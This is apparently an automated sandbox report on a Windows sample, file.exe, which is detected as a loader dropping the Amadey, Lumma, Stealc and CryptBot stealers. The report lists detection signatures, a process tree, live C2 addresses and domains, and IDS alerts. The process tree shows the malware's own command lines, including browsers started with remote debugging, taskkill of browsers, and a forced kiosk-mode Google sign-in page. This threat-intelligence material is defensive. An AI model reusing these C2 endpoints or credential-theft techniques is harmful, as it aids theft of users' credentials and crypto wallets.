Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1557340
MD5:	cac804be5a8c3370120fbdc37e4c6ec7
SHA1:	ad7c2c51c8be6b3375e32a75b0417f3f0e9166f5
SHA256:	dd19c480ab45acf19038eed898ed4e0c39eec6d9f9a1252f06a740da920711bc
Tags:	exeuser-Bitsight
Infos:

Detection

PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected Cryptbot

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Detected PureCrypter Trojan

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

Maps a DLL or memory area into another process

Monitors registry run keys for changes

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Enables debug privileges

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 3776 cmdline: "C:\Users\user\Desktop\file.exe" MD5: CAC804BE5A8C3370120FBDC37E4C6EC7)

chrome.exe (PID: 1816 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 6748 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2248 --field-trial-handle=2208,i,11112625269450006976,13017943389381454279,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 7852 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8100 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2580 --field-trial-handle=2384,i,5336292706058860815,4067302130778285972,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

cmd.exe (PID: 8868 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsIJKFHDBKFC.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8876 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsIJKFHDBKFC.exe (PID: 8920 cmdline: "C:\Users\user\DocumentsIJKFHDBKFC.exe" MD5: 8A320F1C2E6D0F0B93453F0ADA342759)

skotes.exe (PID: 7692 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 8A320F1C2E6D0F0B93453F0ADA342759)

msedge.exe (PID: 8128 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 6392 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2324 --field-trial-handle=2288,i,11947060115532650235,7332651882902762647,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 3432 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6992 --field-trial-handle=2288,i,11947060115532650235,7332651882902762647,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 6548 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7148 --field-trial-handle=2288,i,11947060115532650235,7332651882902762647,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

identity_helper.exe (PID: 7476 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6824 --field-trial-handle=2288,i,11947060115532650235,7332651882902762647,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

identity_helper.exe (PID: 7456 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6824 --field-trial-handle=2288,i,11947060115532650235,7332651882902762647,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

msedge.exe (PID: 7976 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2324 --field-trial-handle=2288,i,11947060115532650235,7332651882902762647,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7900 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7064 --field-trial-handle=2288,i,11947060115532650235,7332651882902762647,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

skotes.exe (PID: 9084 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 8A320F1C2E6D0F0B93453F0ADA342759)

skotes.exe (PID: 8492 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 8A320F1C2E6D0F0B93453F0ADA342759)

c6782cb97e.exe (PID: 8532 cmdline: "C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe" MD5: A84FD4E0289966A213CC12D90E98938E)

ea2bf34af0.exe (PID: 8376 cmdline: "C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe" MD5: 9C292208017062C4D09720F198405A75)

215a689fd9.exe (PID: 7928 cmdline: "C:\Users\user\AppData\Local\Temp\1007061001\215a689fd9.exe" MD5: CAC804BE5A8C3370120FBDC37E4C6EC7)

54e727f733.exe (PID: 8876 cmdline: "C:\Users\user\AppData\Local\Temp\1007062001\54e727f733.exe" MD5: 8896D694E42A7760489ADCDDF79CB375)

taskkill.exe (PID: 6764 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6620 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6856 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6892 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2540 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6476 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5356 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1584 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5236 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5132 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 1464 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 7856 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 2800 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 9020 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2260 -parentBuildID 20230927232528 -prefsHandle 2208 -prefMapHandle 2200 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ffc08525-ffc5-4546-9e79-fa9a2f8be888} 2800 "\\.\pipe\gecko-crash-server-pipe.2800" 21beb56eb10 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

ea2bf34af0.exe (PID: 7820 cmdline: "C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe" MD5: 9C292208017062C4D09720F198405A75)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
PureCrypter	According to zscaler, PureCrypter is a fully-featured loader being sold since at least March 2021The malware has been observed distributing a variety of remote access trojans and information stealersThe loader is a .NET executable obfuscated with SmartAssembly and makes use of compression, encryption and obfuscation to evade antivirus software productsPureCrypter features provide persistence, injection and defense mechanisms that are configurable in Googles Protocol Buffer message format	No Attribution	https://any.run/cybersecurity-blog/pure-malware-family-analysis/ https://blog.netlab.360.com/purecrypter-is-busy-pumping-out-various-malicious-malware-families/ https://blog.sekoia.io/mallox-ransomware-affiliate-leverages-purecrypter-in-microsoft-sql-exploitation-campaigns/ https://www.prodaft.com/m/reports/RIG___TLP_CLEAR-1.pdf https://www.zscaler.com/blogs/security-research/technical-analysis-purecrypter	https://malpedia.caad.fkie.fraunhofer.de/details/win.purecrypter

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
CryptBot	A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2.	No Attribution	https://any.run/cybersecurity-blog/cryptbot-infostealer-malware-analysis/ https://asec.ahnlab.com/en/24423/ https://asec.ahnlab.com/en/26052/ https://asec.ahnlab.com/en/31683/ https://asec.ahnlab.com/en/31802/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: LummaC

{"C2 url": ["peepburry828.sbs", "p10tgrace.sbs", "p3ar11fter.sbs", "3xp3cts1aim.sbs", "processhol.sbs"], "Build id": "LOGS11--LiveTraffic"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2620717305.00000000015DE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2155994551.0000000005080000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2618383963.00000000008A1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2618383963.000000000096C000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001E.00000002.2987335924.000000000122E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000018.00000003.2619629445.0000000004EB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000017.00000002.2669928889.0000000000951000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001E.00000003.2945914551.0000000004EC0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2620717305.0000000001657000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000018.00000002.2660957852.00000000003E1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000017.00000003.2580735137.0000000004C30000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000002F.00000003.3167427735.0000000000EF6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000021.00000003.2989804044.0000000000B64000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
0000002F.00000003.3187030785.0000000000EFD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000002F.00000003.3146067573.0000000000EF6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001A.00000003.2722925376.0000000004D70000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000019.00000002.2704131387.00000000003E1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000019.00000003.2663887196.0000000004F60000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001E.00000002.2986151483.00000000004F1000.00000040.00000001.01000000.00000011.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 3776	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 3776	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 3776	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 3776	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: ea2bf34af0.exe PID: 8376	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: ea2bf34af0.exe PID: 8376	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: ea2bf34af0.exe PID: 8376	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 215a689fd9.exe PID: 7928	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 215a689fd9.exe PID: 7928	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 54e727f733.exe PID: 8876	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Click to see the 24 entries

Unpacked PEs

Source	Rule	Description	Author
23.2.DocumentsIJKFHDBKFC.exe.950000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
25.2.skotes.exe.3e0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
24.2.skotes.exe.3e0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 8492, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ea2bf34af0.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 3776, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 1816, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 8492, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ea2bf34af0.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T04:42:19.931653+0100	2028371	3	Unknown Traffic	192.168.2.6	50113	188.114.96.3	443	TCP
2024-11-18T04:42:22.484443+0100	2028371	3	Unknown Traffic	192.168.2.6	50116	188.114.96.3	443	TCP
2024-11-18T04:42:24.306148+0100	2028371	3	Unknown Traffic	192.168.2.6	50117	188.114.96.3	443	TCP
2024-11-18T04:42:26.585942+0100	2028371	3	Unknown Traffic	192.168.2.6	50119	188.114.96.3	443	TCP
2024-11-18T04:42:28.805095+0100	2028371	3	Unknown Traffic	192.168.2.6	50123	188.114.96.3	443	TCP
2024-11-18T04:42:31.324662+0100	2028371	3	Unknown Traffic	192.168.2.6	64716	188.114.96.3	443	TCP
2024-11-18T04:42:35.688807+0100	2028371	3	Unknown Traffic	192.168.2.6	64727	188.114.96.3	443	TCP
2024-11-18T04:42:37.006045+0100	2028371	3	Unknown Traffic	192.168.2.6	64728	188.114.96.3	443	TCP
2024-11-18T04:42:39.336381+0100	2028371	3	Unknown Traffic	192.168.2.6	64734	188.114.96.3	443	TCP
2024-11-18T04:42:40.994233+0100	2028371	3	Unknown Traffic	192.168.2.6	64744	188.114.96.3	443	TCP
2024-11-18T04:42:42.444927+0100	2028371	3	Unknown Traffic	192.168.2.6	64746	188.114.96.3	443	TCP
2024-11-18T04:42:43.159761+0100	2028371	3	Unknown Traffic	192.168.2.6	64749	188.114.96.3	443	TCP
2024-11-18T04:42:45.131307+0100	2028371	3	Unknown Traffic	192.168.2.6	64755	188.114.96.3	443	TCP
2024-11-18T04:42:48.957448+0100	2028371	3	Unknown Traffic	192.168.2.6	64757	188.114.96.3	443	TCP
2024-11-18T04:42:51.763739+0100	2028371	3	Unknown Traffic	192.168.2.6	64759	188.114.96.3	443	TCP
2024-11-18T04:42:55.387988+0100	2028371	3	Unknown Traffic	192.168.2.6	64761	188.114.96.3	443	TCP
2024-11-18T04:43:09.798812+0100	2028371	3	Unknown Traffic	192.168.2.6	64819	188.114.96.3	443	TCP
2024-11-18T04:43:11.077446+0100	2028371	3	Unknown Traffic	192.168.2.6	64822	188.114.96.3	443	TCP
2024-11-18T04:43:23.188972+0100	2028371	3	Unknown Traffic	192.168.2.6	64834	188.114.96.3	443	TCP
2024-11-18T04:43:24.717860+0100	2028371	3	Unknown Traffic	192.168.2.6	64837	188.114.96.3	443	TCP
2024-11-18T04:43:26.509558+0100	2028371	3	Unknown Traffic	192.168.2.6	64839	188.114.96.3	443	TCP
2024-11-18T04:43:27.917505+0100	2028371	3	Unknown Traffic	192.168.2.6	64843	188.114.96.3	443	TCP
2024-11-18T04:43:29.802451+0100	2028371	3	Unknown Traffic	192.168.2.6	64845	188.114.96.3	443	TCP
2024-11-18T04:43:31.537148+0100	2028371	3	Unknown Traffic	192.168.2.6	64849	188.114.96.3	443	TCP
2024-11-18T04:44:28.817798+0100	2028371	3	Unknown Traffic	192.168.2.6	65459	52.168.117.173	443	TCP
2024-11-18T04:46:01.119242+0100	2028371	3	Unknown Traffic	192.168.2.6	50610	20.189.173.24	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T04:42:21.804081+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50113	188.114.96.3	443	TCP
2024-11-18T04:42:23.214343+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50116	188.114.96.3	443	TCP
2024-11-18T04:42:38.054521+0100	2054653	1	A Network Trojan was detected	192.168.2.6	64728	188.114.96.3	443	TCP
2024-11-18T04:42:39.724156+0100	2054653	1	A Network Trojan was detected	192.168.2.6	64734	188.114.96.3	443	TCP
2024-11-18T04:42:42.969436+0100	2054653	1	A Network Trojan was detected	192.168.2.6	64746	188.114.96.3	443	TCP
2024-11-18T04:42:55.947242+0100	2054653	1	A Network Trojan was detected	192.168.2.6	64761	188.114.96.3	443	TCP
2024-11-18T04:43:10.190835+0100	2054653	1	A Network Trojan was detected	192.168.2.6	64819	188.114.96.3	443	TCP
2024-11-18T04:43:11.648060+0100	2054653	1	A Network Trojan was detected	192.168.2.6	64822	188.114.96.3	443	TCP
2024-11-18T04:43:32.277741+0100	2054653	1	A Network Trojan was detected	192.168.2.6	64849	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T04:42:21.804081+0100	2049836	1	A Network Trojan was detected	192.168.2.6	50113	188.114.96.3	443	TCP
2024-11-18T04:42:38.054521+0100	2049836	1	A Network Trojan was detected	192.168.2.6	64728	188.114.96.3	443	TCP
2024-11-18T04:43:10.190835+0100	2049836	1	A Network Trojan was detected	192.168.2.6	64819	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T04:42:23.214343+0100	2049812	1	A Network Trojan was detected	192.168.2.6	50116	188.114.96.3	443	TCP
2024-11-18T04:42:39.724156+0100	2049812	1	A Network Trojan was detected	192.168.2.6	64734	188.114.96.3	443	TCP
2024-11-18T04:43:11.648060+0100	2049812	1	A Network Trojan was detected	192.168.2.6	64822	188.114.96.3	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T04:42:43.899830+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	64752	185.215.113.16	80	TCP
